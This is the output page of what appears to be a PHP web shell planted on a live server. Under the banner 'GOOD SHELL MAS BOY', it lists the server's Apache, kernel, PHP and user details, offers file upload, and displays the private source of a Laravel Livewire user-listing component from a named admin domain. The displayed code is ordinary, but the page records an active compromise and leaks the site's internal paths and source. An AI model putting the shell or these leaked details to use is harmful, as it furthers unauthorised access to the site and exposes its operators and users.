GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/app/Livewire/Dashboard/Users.php
<?php

namespace App\Livewire\Dashboard;

use App\Models\User;
use Livewire\Component;
use App\Services\ApiEndpoints;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Http;

class Users extends Component
{
    public $role = 'buyer';
    public $status = 'active';
    public $roleLabel;
    public $label;
    public $paginateUrl;
    public $getUsers = [];
    public $totalUsers = 0;
    public $page = 1;
    public $getPag;

    protected $rules = [
        'role' => 'sometimes|exists:users,role',
        'status' => 'sometimes|exists:users,status',
    ];
    public function mount()
    {
        $this->updateUsers($this->role, $this->status);
    }
 
    public function loadMore()
    {
        $this->page++;
        $this->updateUsers($this->role, $this->status, $this->page);
    }

    public function updateUsers($role = null, $status = null, $pageUrl = null)
    {
        $this->role = $role ?? $this->role;
        $this->status = $status ?? $this->status;

        try {
            $query = User::query();

            if (!empty($this->role)) {
                $query->where('role', $this->role);
            }
            if (!empty($this->status)) {
                $query->where('status', $this->status);
            }

            // $users = $query->with('wallet')->orderBy('id', 'desc')->paginate(1);
            $users = User::where('status', $this->status)->where('role', $this->role)->latest()->paginate(2);
            // $users = $query->with('wallet')->orderBy('id', 'desc')->paginate(2, ['*'], 'page', $this->page);
            // dd($users);
            // Extract user data and pagination info
            $this->getUsers = $users->items(); // Just the data array
            $this->totalUsers = $users->total();
            $this->roleLabel = $this->getRoleLabel($this->role);
            $this->paginateUrl = $users->nextPageUrl();
        } catch (\Throwable $th) {
            Log::info($th->getMessage());
            $this->addError('error', 'Unable to fetch users');
        }
    }

    private function getRoleLabel($role)
    {
        $labels = [
            'buyer' => 'Customer',
            'seller' => 'Provider',
            'admin' => 'Administrator',
        ];
        return $labels[$role] ?? 'User';
    }

    public function render()
    {
        $users = User::where('status', $this->status)
            ->where('role', $this->role)
            ->latest()
            ->paginate(20);

        $this->getUsers = $users->items(); // Just the data array
        $this->totalUsers = $users->total();
        $this->roleLabel = $this->getRoleLabel($this->role);
        $this->paginateUrl = $users->nextPageUrl();

        return view('livewire.dashboard.users', [
            'users' => $users,
            'getUsers' => $this->getUsers,
            'totalUsers' => $this->totalUsers,
            'roleLabel' => $this->roleLabel,
            'paginateUrl' => $this->paginateUrl,
        ]);
    }

}